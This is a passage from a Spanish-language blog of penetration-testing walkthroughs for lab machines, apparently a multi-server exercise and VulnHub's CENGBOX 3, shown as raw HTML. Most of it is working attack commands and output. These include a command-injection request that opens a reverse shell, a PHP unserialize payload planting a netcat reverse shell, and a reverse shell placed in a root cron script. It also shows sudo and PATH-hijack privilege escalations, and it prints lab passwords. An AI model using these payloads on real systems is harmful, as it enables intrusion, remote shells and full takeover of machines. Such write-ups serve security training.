font-family: open sans, sans-serif;"><span style="font-size: 18px;">Not shown: 998 closed ports</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">PORT STATE SERVICE</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">8000/tcp open http-alt</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">9000/tcp open cslistener</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">MAC Address: 02:42:AC:11:00:04 (Unknown)</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">Nmap scan report for 172.17.0.5</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">Host is up (0.000022s latency).</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">Not shown: 998 closed ports</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">PORT STATE SERVICE</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">21/tcp open ftp</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">22/tcp open ssh</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">MAC Address: 02:42:AC:11:00:05 (Unknown)</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">Nmap scan report for MailServer (172.17.0.3)</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">Host is up (0.0000060s latency).</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">Not shown: 997 closed ports</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">PORT STATE SERVICE</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">22/tcp open ssh</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">110/tcp open pop3</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">143/tcp open imap</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><b>1. rootear el servidor mail, bob</b></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">bob@MailServer:/opt/scripts$ sudo -l</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">Matching Defaults entries for bob on MailServer:</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">User bob may run the following commands on MailServer:</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> <b>(my2user) NOPASSWD: /bin/bash /opt/scripts/check.sh</b></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">bob@MailServer:/opt/scripts$ echo '/bin/bash' > check.sh</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">bob@MailServer:/opt/scripts$ sudo -u my2user /bin/bash /opt/scripts/check.sh</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">sudo: setrlimit(RLIMIT_CORE): Operation not permitted</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">my2user@MailServer:/opt/scripts$ id</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">uid=1001(my2user) gid=1001(my2user) groups=1001(my2user)</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">my2user@MailServer:/opt/scripts$ sudo -l</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">Matching Defaults entries for my2user on MailServer:</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">User my2user may run the following commands on MailServer:</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> <b> (root) NOPASSWD: /usr/bin/zip</b></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">my2user@MailServer:/opt/scripts$ TF=$(mktemp -u)</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">my2user@MailServer:/opt/scripts$ sudo zip $TF /etc/hosts -T -TT 'sh #'</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> adding: etc/hosts (deflated 33%)</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"># id</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">uid=0(root) gid=0(root) groups=0(root)</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><b>2- servidor web: intuimos que es el 172.17.0.2</b></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">bob@MailServer:~$ curl 172.17.0.2</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><html></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><head></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><title>Nully Cybersecurity</title></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"></head></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><body></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><h1 align="center">Under Construction</h1></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><p>So, there should be a website here, but it's still under construction. -Oliver</p></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"></body></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"></html></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">bob@MailServer:~$ </span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">para fuzzearlo en nuestra máquina hacemos</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">sudo ssh -L 127.0.0.1:8888:172.17.0.2:80 bob@192.168.2.107 -p 2222 -f -N</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">fuf 127.0.0.1:8888 </span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">y descubrimos ping.php, hacemos la llamada siguiente</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">curl 127.0.0.1:8888/ping/ping.php?host=192.168.2.75%3Bbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.84%2F9998%200%3E%261%27 </span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">para shell reverse</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">en backups descubrimos la contraseña de oliver 4hppfvhb9pW4E4OrbMLwPETRgVo2KyyDTqGF</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">no podemos hacer sudo y por eso entonces en nuestra máquina</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">sudo ssh -L 127.0.0.1:2223:172.17.0.2:22 bob@192.168.2.107 -p 2222 -f -N</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">así accedemos a oliver por ssh</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">ssh oliver@127.0.0.1 -p 2223</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">necesitamos escalar a oscar que es dueño de python3</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")' </span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">accedemos a oscar y encontramos su contraseña H53QfJcXNcur9xFGND3bkPlVlMYUrPyBp76o</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">tenemos un script que nos puede llevar a root</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">lo transferimos con scp para analizar con ghidra</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">scp current-date kali@192.168.2.84:~/current-date</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">solo se trata de esto</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">oscar@WebServer:~/scripts$ echo '/bin/bash' > date</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">oscar@WebServer:~/scripts$ chmod +x date</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">oscar@WebServer:~/scripts$ export PATH=:$PATH</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">oscar@WebServer:~/scripts$ ./current-date</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">root@WebServer:~/scripts# id</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">uid=0(root) gid=0(root) groups=0(root),1000(oscar)</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><b>3- dataserver</b></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">en 5 tenemos el dataserver, por ftp anónimo cazamos un backup.zip oculto, lo crackeamos con john y tenemos credenciales</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">donald:HBRLoCZ0b9NEgh8vsECS</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">entramos y tenemos suid screen, usamos exploit</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">https://www.exploit-db.com/exploits/41154</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">donald@DatabaseServer:~$ id</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">uid=1000(donald) gid=1000(donald) groups=1000(donald)</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">donald@DatabaseServer:~$ cd /tmp</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">donald@DatabaseServer:/tmp$ ls</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">conftest6257 libhax.c libhax.so rootshell rootshell.c screens</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">donald@DatabaseServer:/tmp$ ./rootshell</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"># id</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">uid=0(root) gid=0(root) groups=0(root),1000(donald)</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"># </span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;"><br /></p>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-30815899262694580262022-09-04T15:38:00.000-07:002022-09-04T15:38:27.792-07:00CENGBOX: 3: vhost + PHP unserialize<div style="text-align: left;"> https://www.vulnhub.com/entry/cengbox-3,576/</div><div style="text-align: left;"><br />- <span face=""open sans", sans-serif" style="background-color: #f7f8fb; color: #333333; font-size: 18px;">Difficulty : <b>Intermediate / Hard</b></span></div><div style="text-align: left;"><span face=""open sans", sans-serif" style="background-color: #f7f8fb; color: #333333; font-size: 18px;"><b><br /></b></span><span face=""open sans", sans-serif" style="background-color: #f7f8fb; color: #333333; font-size: 18px;">1-<br /></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">Starting <b>Nmap </b>7.92 ( https://nmap.org ) at 2022-09-04 18:17 CEST<br /></span></span><span face=""open sans", sans-serif" style="color: #333333; font-size: 18px;">PORT STATE SERVICE<br /></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">22/tcp closed ssh<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">80/tcp open http<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">443/tcp open https</span></span></div><div style="text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"><br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">2-<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">En 80 no encontramos nada reseñable. La clave está en acceder por 443 y fijarnos en el certificado SSL que nos va a dar el vhost:</span></span></div><div style="text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"><br /></span></span></div><b>ceng-company.vm</b> <p><span style="font-size: medium;">3- </span></p><p><span style="font-size: medium;">A partir de ahí buscar <b>gobuster vhost</b></span></p><p><span style="font-size: medium;">gobuster vhost -u https://ceng-company.vm -w ../../combdir -t 128 -k</span></p><p><span style="font-size: medium;">y sacamos el subdominio que nos interesa: </span></p><p><span style="font-size: medium;">https://dev.ceng-company.vm/</span></p><p><span style="font-size: medium;">4- </span></p><p><span style="font-size: medium;">Tenemos una entrada de login que atacamos con <b>sqlmap</b></span></p><p><span style="font-size: medium;">sqlmap -u 'https://dev.ceng-company.vm/login.php' --data 'username=admin&passwd=admin' --dbs</span></p><p><span style="font-size: medium;">y sacamos las credenciales de admin</span></p><p><span style="font-size: medium;">5- </span></p><p><span style="font-size: medium;">Una vez dentro tenemos un script addpoem.php que envía un poema serializado. Es el punto vulnerable para introducir un shell reverse. Después de varias pruebas el código que funciona es el siguiente:</span></p><p><span style="font-size: medium;">GET /addpoem.php?data=O:4:"Poem":3{s:8:"poemName";s:6:"x";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"<b>filename</b>";s:23:"/var/www/html/test9.php";s:8:"<b>poemName</b>";s:97:"<?php system('rm /tmp/ff;<b>mkfifo </b>/tmp/ff;cat /tmp/ff|bash -i 2>&1|nc 192.168.2.84 8888 >/tmp/ff');";}s:9:"poemLines";s:20:"x";} HTTP/1.1</span></p><p><span style="font-size: medium;">6- </span></p><p><span style="font-size: medium;">hay un user eric y le encontramos un script en opt/login.py que se ejecuta en cron, en lo que parece que utiliza dos archivos auxiliares: check.sh y whatismyip.py. No podemos ver el contenido del login.py. Tenemos además tcpdump con capabilities </span><strong class="r-b88u0q" data-offset-key="9b201315ce6c4ace866aa19bbcfd39bb:4" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTJDJTIyc2VsZWN0aW9ucyUyMiUzQSU1QiU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyYWxsb3clMjBhbnklMjB1c2VyJTIwdG8lMjBzbmlmZiUyMHBhY2tldHMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlMkMlMjJzZWxlY3Rpb25zJTIyJTNBJTVCJTVEJTdEJTVEJTJDJTIya2V5JTIyJTNBJTIyMjU2ODU0M2M3NmE0NDk2N2FmNDE2NmYxNzQ5NzM0MjUlMjIlN0QlNUQlMkMlMjJrZXklMjIlM0ElMjJhZThmNzY4OGExZWI0YTcwOTZhM2YyYTE1ZGNhZmY2MCUyMiU3RCU1RCUyQyUyMmtleSUyMiUzQSUyMjk4NDA5OWQ2ODFkYjRlZDA4MDJiYTY2ZGMwOGU3Mzk0JTIyJTdE" data-slate-leaf="true">allow any user to sniff packets</strong><span style="font-size: large;">, </span></p><p><span style="font-size: medium;"><i>getcap -r / 2</dev/null</i></span></p><p><i><span style="font-size: medium;"></span></i></p><p><span style="font-size: medium;"><i>/usr/sbin/<b>tcpdump </b>= cap_net_admin,cap_net_raw+ep</i></span></p><p><span style="font-size: medium;">que es lo que nos lleva a pensar en monitorizar la red local para ver qué hace el login.py</span></p><p><span style="font-size: medium;">tcpdump -i lo -vvv -A</span></p><p><span style="font-size: medium;">01:17:01.621029 IP6 (flowlabel 0x12f31, hlim 64, next-header TCP (6) payload length: 77) localhost.60348 > localhost.http: Flags [P.], cksum 0x0055 (incorrect -> 0xeba7), seq 210:255, ack 1, win 342, options [nop,nop,TS val 8377147 ecr 8377146], length 45: HTTP</span></p><p><span style="font-size: medium;">`./1.M.@...................................P_'.!Gl.V...V.U.....</span></p><p><span style="font-size: medium;"></span></p><p><span style="font-size: medium;">...;...:username=eric&password=3ricThompson%2ACovid19</span></p><p><span style="font-size: medium;">nos da las credenciales de eric</span></p><p><span style="font-size: medium;">7- </span></p><p><span style="font-size: medium;">una vez dentro solo hay que modificar el login.py que se ejecuta como root con otro shell reverse</span></p><p><span style="font-size: medium;">import os; os.system("bash -c 'bash -i >& /dev/tcp/192.168.2.84/9999 0>&1'");</span></p><div><div> </div><div>┌──(kali㉿kali)-[~]</div><div>└─$ nc -lvnp 9999</div><div>Ncat: Version 7.92 ( https://nmap.org/ncat )</div><div>Ncat: Listening on :::9999</div><div>Ncat: Listening on 